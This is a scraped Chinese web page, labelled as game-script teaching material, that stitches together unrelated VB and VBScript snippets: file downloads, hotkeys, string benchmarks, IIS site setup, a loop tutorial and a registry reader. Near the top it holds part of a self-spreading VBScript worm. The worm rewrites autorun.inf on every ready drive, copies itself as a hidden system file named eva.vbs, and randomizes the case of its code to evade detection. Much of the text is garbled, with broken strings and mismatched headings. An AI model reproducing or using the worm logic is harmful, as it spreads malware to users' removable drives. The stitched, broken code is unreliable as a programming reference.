梦幻西游自动打图脚本源代码教学课件

发布时间:2020-06-27 来源:脚本之家 点击:

Q:--怎样在我的程序中实现文件下载

  Re:

  一个例子:一个Command,两个Text代码如下:

     PrivateDeclareFunctionDoFileDownloadLib"shdocvw.dll"(ByVallpszFileAsString)AsLong

   PrivateSubCommand1_Click()

     DimsDownloadAsString

     sDownload=StrConv(Text1.Text,vbUnicode)

     CallDoFileDownload(sDownload)

     EndSub

   PrivateSubForm_Load()

     Text1.Text="

     Form1.Caption="Audiograbber1.62Full"

     Text2.Text="

     EndSub

  Q:--如何在vb中定义一个热键,使得当一个应用程序的窗口最小化后,可以通过热键来唤醒它

  Re:

  先声明API函数SendMessage,然后添加一个按钮和如下代码;

     PrivateDeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByValhwndAsLong,ByVal_   wMsgAsLong,ByValwparamAsLong,lparamAsAny)AsLong

   PrivateSubCommand1_Click()

     DimwKeyAsLong

     wKey=66

     X=SendMessage(Me.hwnd,WM_SETHOTKEY,wKey,0)

     MsgBox"B键将激活窗体
Function vs(str)
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))"
End Function

' 列出驱动器
Function listdrv()
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list"
End Function

' 写autorun.inf文件
Sub writeauto(path)
' 写Auto文件前的准备,如果path中有autorun.inf文件夹那么重命名;如果有autorun.inf文件则删除
Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If"
' autorun.inf中的启动代码
cmdstr="shell\*\command=wscript.exe "&chr(34)&"eva.vbs"&chr(34)
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find")
' 写入
Call writefile(path&ucase("autorun.inf"),autostr)
Call writefile(path&"eva.vbs",vs(scopy))
End Sub
'将content中的内容写入fpath,并设置文件属性是ReadOnly、Hidden和System
Sub writefile(fpath,content)
Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing"
End Sub

安卓版按键精灵录制脚本

<%
'vbs版高速字符串操作代码演示
'淮南子编写
Option explicit
Dim StrTime,EndTime
Dim MyString,MyArray,ArrayIndexCount,CurIndex
Const TestNumber=9999 '循环次数
StrTime=Timer()
'============测试开始============
'代码执行效率
'本人机器配置:
'CPU: 酷睿双核2250 CPU频率:1.73G
'内存: 1GB
'请逐一开启方法进行测试
'StringLinkTest1() '性能最差,大约耗时20秒
'StringLinkTest2() '性能大大改善,大约耗时0.2秒
'StringArrayTest() '性能最佳,大约耗时0.06秒
'============测试结束============
'输出结果
'Response.Write MyString
EndTime=Timer()
Response.Write "耗时:" & FormatNumber((EndTime-StrTime) * 1000,3) & " 毫秒"
'字符串操作函数,淮南子原创
Sub Add(Value)
If (CurIndex >=ArrayIndexCount) Then
ArrayIndexCount=CurIndex * 1.1 '如果欲添加项超出数组下标,则将数组容量扩增百分之10
ReDim Preserve MyArray(ArrayIndexCount)
End If
MyArray(CurIndex)=Value
CurIndex=CurIndex + 1
End Sub
'测试方法
'使用数组进行字符串叠加,在所有方法中,该方法性能最佳(效率较StringLinkTest2()的方法提升了近4倍)
Sub StringArrayTest()
ArrayIndexCount=20
CurIndex=0
ReDim MyArray(ArrayIndexCount)
Dim i
For i=0 to TestNumber
Add "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
Next
MyString=Join(MyArray,"")
End Sub
'测试方法1
'常规的字符串连接
Sub StringLinkTest1()
Dim i,str
dim a1
a1="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
For i=0 to TestNumber
'常规字符串连接
Str=(Str&a1)
Next
MyString=Str
End Sub
'测试方法2
'在常规的字符串连接方式中,使用临时变量来提速 ,效率较StringLinkTest1()的方法提升了近100倍
Sub StringLinkTest2()
Dim i,str,a1,TmpString
a1="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
For i=0 to TestNumber
'使用临时变量提速
TmpString=(TmpString & a1)
'每二百次则进行一次累计
If i mod 200=0 Then
'保存临时变量值
Str=(Str & TmpString)
'清空临时变量值
TmpString=""
End If
Next
if TmpString<>"" Then MyString=(Str & TmpString)
End Sub
%>
->

**根据MicrosoftCorp.的AdminScripts改写
'
'用法:mkw3site<--RootDirectory|-rROOTDIRECTORY>
'<--Comment|-tSERVERCOMMENT>
'[--computer|-cCOMPUTER1[,COMPUTER2...]]
'[--HostName|-hHOSTNAME]
'[--port|-oPORTNUM]
'[--IPAddress|-iIPADDRESS]
'[--SiteNumber|-nSITENUMBER]
'[--DontStart]
'[--verbose|-v]
'[--help|-?]
'
'IPADDRESSTheIPAddresstoassigntothenewserver.Optional.
'HOSTNAMEThehostnameofthewebsiteforhostheaders.
'WARNING:OnlyuseHostNameifDNSissetupfindtheserver.
'PORTNUMTheporttowhichtheservershouldbind
'ROOTDIRECTORYFullpathtotherootdirectoryforthenewserver.
'SERVERCOMMENTTheservercomment--thisisthenamethatappersintheMMC.
'SITENUMBERTheSiteNumberisthenumberinthepaththatthewebserver
'willbecreatedat.i.e.w3svc/3
'
'Example1:mkw3site-rD:\Roots\Company11--DontStart-t"MyCompanySite"
'Example2:mkw3site-rC:\Inetpub\wwwroot-tTest-o8080
'------------------------------------------------------------------------------------------------


'Forceexplicitdeclarationofallvariables
OptionExplicit

OnErrorResumeNext

DimArgIPAddress,ArgRootDirectory,ArgServerComment,ArgSkeletalDir,ArgHostName,ArgPort
DimArgComputers,ArgStart
DimArgSiteNumber
DimoArgs,ArgNum
Dimverbose
'设置可写、脚本执行权限
Dimprop(15,2)
DimpropNum
prop(propNum,0)="AccessRead"
prop(propNum,1)=true'可读设为TRUE,不可读设为FALSE
propNum=propNum+1
prop(propNum,0)="AccessWrite"
prop(propNum,1)=true'可写设为TRUE,不可写设为FALSE
propNum=propNum+1
prop(propNum,0)="AccessScript"
prop(propNum,1)=true'可运行脚本文件设为TRUE,不可运行脚本文件设为FALSE
propNum=propNum+1
prop(propNum,0)="AccessExecute"
prop(propNum,1)=false'可运行执行文件设为TRUE,不可运行执行文件设为FALSE
propNum=propNum+1
prop(propNum,0)="EnableDirBrowsing"
prop(propNum,1)=true'允许列出目录设为TRUE,不允许列出目录设为FALSE
propNum=propNum+1

ArgIPAddress=""
ArgHostName=""
ArgPort=80
ArgStart=True
ArgComputers=Array(1)
ArgComputers(0)="LocalHost"
ArgSiteNumber=0
verbose=false

SetoArgs=WScript.Arguments
ArgNum=0

WhileArgNum<oArgs.Count

SelectCaseLCase(oArgs(ArgNum))
Case"--port","-o":
ArgNum=ArgNum+1
ArgPort=oArgs(ArgNum)
Case"--ipaddress","-i":
ArgNum=ArgNum+1
ArgIPAddress=oArgs(ArgNum)
Case"--rootdirectory","-r":
ArgNum=ArgNum+1
ArgRootDirectory=oArgs(ArgNum)
Case"--comment","-t":
ArgNum=ArgNum+1
ArgServerComment=oArgs(ArgNum)
Case"--hostname","-h":
ArgNum=ArgNum+1
ArgHostName=oArgs(ArgNum)
Case"--computer","-c":
ArgNum=ArgNum+1
ArgComputers=Split(oArgs(ArgNum),",",-1)
Case"--sitenumber","-n":
ArgNum=ArgNum+1
ArgSiteNumber=CLng(oArgs(ArgNum))
Case"--dontstart":
ArgStart=False
Case"--help","-?":
CallDisplayUsage
Case"--verbose","-v":
verbose=true
CaseElse:
WScript.Echo"Unknownargument"&oArgs(ArgNum)
CallDisplayUsage
EndSelect

ArgNum=ArgNum+1
Wend

If(ArgRootDirectory="")Or(ArgServerComment="")Then
if(ArgRootDirectory="")then
WScript.Echo"MissingRootDirectory"
else
WScript.Echo"MissingServerComment"
endif
CallDisplayUsage
WScript.Quit(1)
EndIf

CallASTCreateWebSite(ArgIPAddress,ArgRootDirectory,ArgServerComment,ArgHostName,ArgPort,ArgComputers,ArgStart)

SubASTCreateWebSite(IPAddress,RootDirectory,ServerComment,HostName,PortNum,Computers,Start)
Dimw3svc,WebServer,NewWebServer,NewDir,Bindings,BindingString,NewBindings,ComputerIndex,Index,SiteObj,bDone
Dimcomp
OnErrorResumeNext
ForComputerIndex=0ToUBound(Computers)
comp=Computers(ComputerIndex)
IfComputerIndex<>UBound(Computers)Then
Trace"Creatingwebsiteon"&comp&"."
EndIf

'Grabthewebserviceobject
Err.Clear
Setw3svc=GetObject(""&comp&"/w3svc")
IfErr.Number<>0Then
Display"Unabletoopen:"&""&comp&"/w3svc"
EndIf
BindingString=IpAddress&":"&PortNum&":"&HostName
Trace"Makingsurethiswebserverdoesn'tconflictwithanother..."
ForEachWebServerinw3svc
IfWebServer.Class="IIsWebServer"Then
Bindings=WebServer.ServerBindings
IfBindingString=Bindings(0)Then
Trace"Theserverbindingsyouspecifiedareduplicatedinanothervirtualwebserver."
WScript.Quit(1)
EndIf
EndIf
Next

Index=1
bDone=False
Trace"Creatingnewwebserver..."

'IftheuserspecifiedaSiteNumber,thenusethat.Otherwise,
'testsuccessivenumbersunderw3svcuntilanunoccupiedslotisfound
IfArgSiteNumber<>0Then
SetNewWebServer=w3svc.Create("IIsWebServer",ArgSiteNumber)
NewWebServer.SetInfo
If(Err.Number<>0)Then
WScript.Echo"Couldn'tcreateawebsitewiththespecifiednumber:"&ArgSiteNumber
WScript.Quit(1)
Else
Err.Clear
'Verifythatthenewlycreatedsitecanberetrieved
SetSiteObj=GetObject(""&comp&"/w3svc/"&ArgSiteNumber)
If(Err.Number=0)Then
bDone=True
Trace"Webservercreated.Pathis-"&""&comp&"/w3svc/"&ArgSiteNumber
Else
WScript.Echo"Couldn'tcreateawebsitewiththespecifiednumber:"&ArgSiteNumber
WScript.Quit(1)
EndIf
EndIf
Else
While(NotbDone)
Err.Clear
SetSiteObj=GetObject(""&comp&"/w3svc/"&Index)

If(Err.Number=0)Then
'Awebserverisalreadydefinedatthispositionsoincrement
Index=Index+1
Else
Err.Clear
SetNewWebServer=w3svc.Create("IIsWebServer",Index)
NewWebServer.SetInfo
If(Err.Number<>0)Then
'IfcalltoCreatefailedthentrythenextnumber
Index=Index+1
Else
Err.Clear
'Verifythatthenewlycreatedsitecanberetrieved
SetSiteObj=GetObject(""&comp&"/w3svc/"&Index)
If(Err.Number=0)Then
bDone=True
Trace"Webservercreated.Pathis-"&""&comp&"/w3svc/"&Index
Else
Index=Index+1
EndIf
EndIf
EndIf

'sanitycheck
If(Index>10000)Then
Trace"Seemtobeunabletocreatenewwebserver.Servernumberis"&Index&"."
WScript.Quit(1)
EndIf
Wend
EndIf
NewBindings=Array(0)
NewBindings(0)=BindingString
NewWebServer.ServerBindings=NewBindings
NewWebServer.ServerComment=ServerComment
NewWebServer.SetInfo

'Nowcreatetherootdirectoryobject.
Trace"Settingthehomedirectory..."
SetNewDir=NewWebServer.Create("IIsWebVirtualDir","ROOT")
NewDir.Path=RootDirectory
NewDir.AccessRead=true
Err.Clear
NewDir.SetInfo
NewDir.AppCreate(True)

If(Err.Number=0)Then
Trace"Homedirectoryset."
Else
Display"Errorsettinghomedirectory."
EndIf

Trace"Websitecreated!"

IfStart=TrueThen
Trace"Attemptingtostartnewwebserver..."
Err.Clear
SetNewWebServer=GetObject(""&comp&"/w3svc/"&Index)
NewWebServer.Start
IfErr.Number<>0Then
Display"Errorstartingwebserver!"
Err.Clear
Else
Trace"Webserverstartedsuccesfully!"
EndIf
EndIf
Next
CallASTSetPerms(comp,Index,ArgRootDirectory,prop,propNum)
EndSub

SubASTSetPerms(comp,ArgSiteNumber,ArgRootDirectory,propList,propCount)
'OnErrorResumeNext
DimoAdmin
DimfullPath
fullPath=""&comp&"/w3svc/"&ArgSiteNumber&"/ROOT"
Trace"Openingpath"&fullPath
SetoAdmin=GetObject(fullPath)
IfErr.Number<>0Then
DisplayError_NoNode
WScript.Quit(1)
EndIf

Dimname,val
ifpropCount>0then
Dimi

fori=0topropCount-1
name=propList(i,0)
val=propList(i,1)
ifverbose=truethen
Trace"Setting"&fullPath&"/"&name&"="&val
endif
oAdmin.Putname,(val)
IfErr<>0Then
Display"Unabletosetproperty"&name
EndIf
next
oAdmin.SetInfo
IfErr<>0Then
Display"不能保存更新信息."
EndIf
endif
EndSub

'Displaytheusagemessage
SubDisplayUsage
WScript.Quit(1)
EndSub

SubDisplay(Msg)
WScript.EchoNow&".ErrorCode:"&Hex(Err)&"-"&Msg
EndSub

SubTrace(Msg)
ifverbose=truethen
WScript.EchoNow&":"&Msg
endif
EndSub

OptionButton控件经常是作为控件数组存在的,要快速找到其中的哪一个被选中,可以使用下面的代码:

'假设控件数组包含3个OptionButton控件

intSelected=Option(0).Value*0-Option(1).Value*1-Option(2).Value*2

注意,因为第一个操作数总是0,所以上述代码可以精简如下:

intSelected=-Option(1).Value-Option(2).Value*2

->

Private Sub Class_Initialize()

  (4)程序代码清单:
  OptionExplicit
  PrivateSubForm_Load()
  Label1.Top=850  
   ′设置闪烁字体的显示位置
  Label1.Left=750
  Timer1.Interval=555  
  ′设置字体闪烁间隔时间
  Form1.Windowstate=2
  EndSub
  ′利用计时器控件Timer有规律地改变字体颜色(Forecolor)
  PrivateSubTimer1_Timer()
  ChcLabel1,1,4,8
  EndSub
  ′Chc过程是循环地改变字体颜色(Forecolor)
  SubChc(ContAsControl,Color1AsInteger,Color2AsInteger,Color3AsInteger)
  IfVal(Cont.Tag)=Color1Then
  Cont.Tag=Color2
  ElseIfVal(Cont.Tag)=Color2Then
  Cont.Tag=Color3
  ElseIfVal(Cont.Tag)=Color3Then
  Cont.Tag=Color1
  Else
  Cont.Tag=Color1
  EndIf
  Cont.ForeColor=QBColor(Cont.Tag)
  EndSub
  PrivateSubCommand1_Click()
  End
  EndSub
  程序除标签控件外,还适用于许多VB基本控件,实现诸多闪烁效果,例如:闪烁文本框、闪烁文件列表框等,极大丰富了VB应用程序界面,相当实用

四篇(共六篇):
大家好,昨天我休息了一天,所以今天写第4章:循环结构

  我们先来看一道题:商场进行每日结算,要求累加出今天的营业额,每次输入一个数,这道题其实很简单,但就我们现在学

过的知识要完成这道题相当麻烦,我们来分析一下.首先,我们需要知道买卖的次数,这样才能控制输入的次数,但是,这种设

计是非常低效的,每天都要重新设计程序.假定今天进行了5次交易,以下是源程序:

dimsum
sum=0'初始化变量
sum=sum+int(inputbox("请输入交易额"))
'sum=sum+x 这种形式是把本身的值取出来,进行一次运算,再放回本身,这种方法很有用处
'这里使用了函数嵌套,把inputbox的返回值直接传给int函数,转化成整数,下同
sum=sum+int(inputbox("请输入交易额"))
sum=sum+int(inputbox("请输入交易额"))
sum=sum+int(inputbox("请输入交易额"))
sum=sum+int(inputbox("请输入交易额"))
msgbox(sum)

  看到了吗,我通过把计算过程复制了5遍才设计好了程序,这种程序在汽车交易所等交易次数少的地方还能凑合着用,如果

放到超市岂不是要复制,粘贴几千遍?我们今天讲的内容就可以克服这种缺陷,首先,我们来讲以下Do...Loop语句.

  do...loop的结构看上去非常简单,就是:do...loop,仅此而已,这个结构不断执行do和loop之间的语句(学名叫:循环体),
永不停止.举个例子来说:

do
msgbox("这个信息会不断重复出现,要停止程序请使用任务管理器(Ctrl+Alt+Del)中止wscript进程")
loop

  运行这个程序,当你点销掉一个对话框马上会出来另一个,你永远点不完,总有下一个.谁会运行这样的程序?除非是给

别人捣乱(我就干过这种事),所以在do..loop结构中还有一个语句:exitdo,这个语句将终止循环,跳到loop后面的语句继续

执行.据个例子来说:

dima'注意:常量不需要在dim里面声明,否则会引发错误
constpass="123456"'这是一个字符串请用""包裹起来.设定密码为常量,不可变更
do
a=inputbox("请输入密码")
ifa=passthen
msgbox("密码校验成功")
exitdo
endif
loop

  这个程序会一直不停的问你密码,知道你输入了正确的密码为止.(if可以嵌套在另一个if当中,也可以嵌套在循环体当中

,所以一定要用缩进,来分清楚程序的各个部分).这个程序是很经典的,早期的程序都是这么做的.但是我们是Hacker,所以

我们了解系统的安全性,这种无限次认证程序很容易被穷举破解,我们要来限定认证的次数.修改程序如下

dima,ctr
ctr=0'设置计数器
constpass="pas123_"'上面的那个是弱密码,这次改的强一点
do
ifctr=3then
msgbox("已经达到认证上限,认证程序关闭")
exitdo
else
a=inputbox("请输入密码")
ifa=passthen
msgbox("认证成功")
msgbox("(你可以在这里加一段成功后得到的信息)")
exitdo
else
ctr=ctr+1'如果密码出错就增加一次错误认证计数
msgbox("认证出错,请检查密码")
endif
endif
loop

  运行这个程序试试看,当你出了3此错误以后,就会停止再次询问密码,关闭程序.telnet认证用来限制次数的程序与此大

同小异.要注意的是嵌套的if语句,清仔细读一下这个程序,可能比较难懂,也请你试着自己设计一下类似的程序.

  其实,要在do...loop加上验证的功能,并不一定要用if,我们可以直接利用do.我来介绍一下while关键字,while可以放
在do或者是loop后面,然后再接一个表达式,当表达式的值为true的时候(表达式成立),才运行循环体.我们来看一下修改后的
程序"

dima,ctr
ctr=0
constpass="pas123_"
dowhilectr<3
a=inputbox("请输入密码")
ifa=passthen
msgbox("认证成功")
msgbox("(你可以在这里加一段成功后得到的信息)")
exitdo
else
ctr=ctr+1'如果密码出错就增加一次错误认证计数
msgbox("认证出错,请检查密码")
endif
loop

  这样实现的功能和上一个例子完全一样,我们再来看看把while放在loop后面:

dima,ctr
ctr=0
constpass="pas123_"
do
a=inputbox("请输入密码")
ifa=passthen
msgbox("认证成功")
msgbox("(你可以在这里加一段成功后得到的信息)")
exitdo
else
ctr=ctr+1'如果密码出错就增加一次错误认证计数
msgbox("认证出错,请检查密码")
endif
loopwhilectr<3

  功能是一样的,为什么要放在loop后面呢?你把ctr的值改成3就知道了,while在do后面的程序会直接退出,而在loop后面

还会允许一次认证,到了loop才结束.和while相反的是until,用法和while一样,不过他只有当后面的表达式的值为false(表

达式不成立)的时候才执行循环体,请自己试验一下

  ok,我们来看另外一种循环结构,for....next,这种循环结构是基于计数的,也是在编程中最常见到的循环结构.

dimi
fori=0to5
msgbox(i)
next

  看到了吗?每次输出的i都是递增的,但我们没有明确指出i要递增,当i达到5的时候,循环就结束了,因为由0开始,所以

循环体执行了6次,这一点很重要,大部分东西都是从0开始而不是1.这个程序也可以写成

do的形式:

dimi
i=0
dowhilei<5
msgbox(i)
i=i+1'因为do不能自动计数,必须手动加
loop

  怎么样,还是for比较好用吧.for在编程中很有用途,我们再举一个例子,顺便讲一下嵌套循环.

dimi,j
fori=1to9
fori=1to9
str=str&i*j&""'&是和并字符串的符号
next'每个next对应一个for
next

  看看运行结果,是否令你会想起小学时代的数学老师(丑陋的嘴脸).要注意,这里有一个"大"的for,和一个小的for,当

小的for执行完一个周期以后,大的for才执行一次(换句话说,大的for执行一次,小的要执行9次),所以一共执行了九九八十

一次.在大的for里可以不仅仅是一个小的for,也可以加上另外的语句.我们来修改一下源程序:

dimi,j
fori=1to9
fori=1to9
str=str&i*j&""
next'每个next对应一个for
str=str&vbCrlf'vbCrlf相当于键盘上的回车键,因为你不能在键盘上输入,所以系统定义了一个默认的常量
next

  这次运行完成以后,输出结果按照乘数进行了分割,每小for运行完一次,就换一行(通过vbcrlf).

  这次的内容对菜鸟可能比较难懂,掌握的办法只有一个:多实践.另外,我在论坛看到很多人还是问:"VBScript要用什么工

具编?"我就很气愤,我在第一篇里面已经说明:用记事本编辑源代码,然后保存为以.vbs为扩展名的程序就可以了,请大家不要

再问.另外,国产的一种垃圾软件"超级X霸"抢占了vbs这个扩展名,请把那个垃圾卸载掉.

  我们总结一下:

要点:

1)do..loop和exitdo的用法

2)while当表达式true的时候执行循环体,until反之

3)for...next是计数循环,每次执行计数器递加

4)嵌套循环的作用和写法

4.5)&用于连接字符串

5)vbCrLf相当于键盘上的回车键


作业:

1)在我国的数学经典著作"九章算术"中有这样一道题:百钱买百鸡,公鸡5钱一只,母鸡3钱一只,小鸡1钱2只(这个数据我是参

考一本编程书的,但我记得是公3,母1,小1钱3只?不管了,就按照书上得来吧)求得是能有多少种办法买这些鸡.如果看不懂的

话我用大白话说说:有人要去买鸡,用100块钱正好买了100只鸡,价格如下:公:5$,母:3$,小:1$for2,让你求一共多少种卖

法(公母小怎么搭配).请用循环解决这个问题.

ps:今天要去移民局办事,所以文章写的很仓促.大部分代码都没有实验,请大家帮我找错.另外,上次的作业大家在论坛应该

看到了,我就不重复答案了,不知道大家喜欢做这种题,还是以前那种比较简单的?
sql语句

2、为节点插入图象

   treeview1.node(3).image="leaf"

  注意我们一般从imagelist中指定图象

3、处理节点的点击,怎样才能知道树状浏览器的哪一个节点被点击了呢?可以用NodeClick事件:

   publicsubtreeview1_nodeclick(byvalnodeascomctllib.node)
   text1.text="youclick"&node.text
   endsub

->


Const HKEY_CURRENT_USER=&H80000001

strComputer="."

Set objRegistry=GetObject("winmgmts:\" & strComputer & "\root\default:StdRegProv")

strKeyPath="Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
objRegistry.EnumValues HKEY_CURRENT_USER, strKeyPath, arrValueNames, arrValueTypes

For Each strValue in arrValueNames
If Len(strValue)=1 Then
objRegistry.GetStringValue HKEY_CURRENT_USER,strKeyPath,strValue,strRunCommand
intLength=Len(strRunCommand)
strRunCommand=Left(strRunCommand, intLength - 2)
Wscript.Echo strRunCommand
End If
Next

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号